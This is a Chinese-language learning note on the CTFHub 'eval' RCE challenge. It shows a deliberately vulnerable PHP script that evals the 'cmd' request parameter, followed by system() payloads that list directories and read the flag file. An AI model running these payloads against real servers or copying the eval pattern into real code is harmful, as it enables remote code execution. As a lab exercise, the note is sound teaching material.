CTFHub 技能树 Web RCE eval执行(学习记录)

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

相关推荐
TImCheng06096 分钟前
职场人AI学习周期评估:不同学习路径的时间成本
人工智能·学习
周末也要写八哥9 分钟前
C4D/Cinema 4D 2026超详细下载与安装教程(附资源包)
学习·数学建模
xinzheng新政22 分钟前
openclaw dashboard报错 internal server error
学习
nashane1 小时前
HarmonyOS 6学习:RichEditor宽度“暴力”计算与富文本截图避坑
学习·harmonyos 5
鹿鸣悠悠2 小时前
【AI学习】全链路、并发、响应时间
学习
PNP Robotics2 小时前
领军军者|PNP机器人包文涛:以具身智能定义机器人的“生命直觉”
人工智能·深度学习·学习·机器学习·机器人
QYQ_11272 小时前
嵌入式学习——字符设备驱动的注册和调用流程
学习
xinhuanjieyi3 小时前
极语言让ai学习的方法
开发语言·学习
念恒123063 小时前
Python(复杂判断)
python·学习
happymaker06263 小时前
MyBatis学习日记——DAY03(手写MyBatis框架实现简单功能)
学习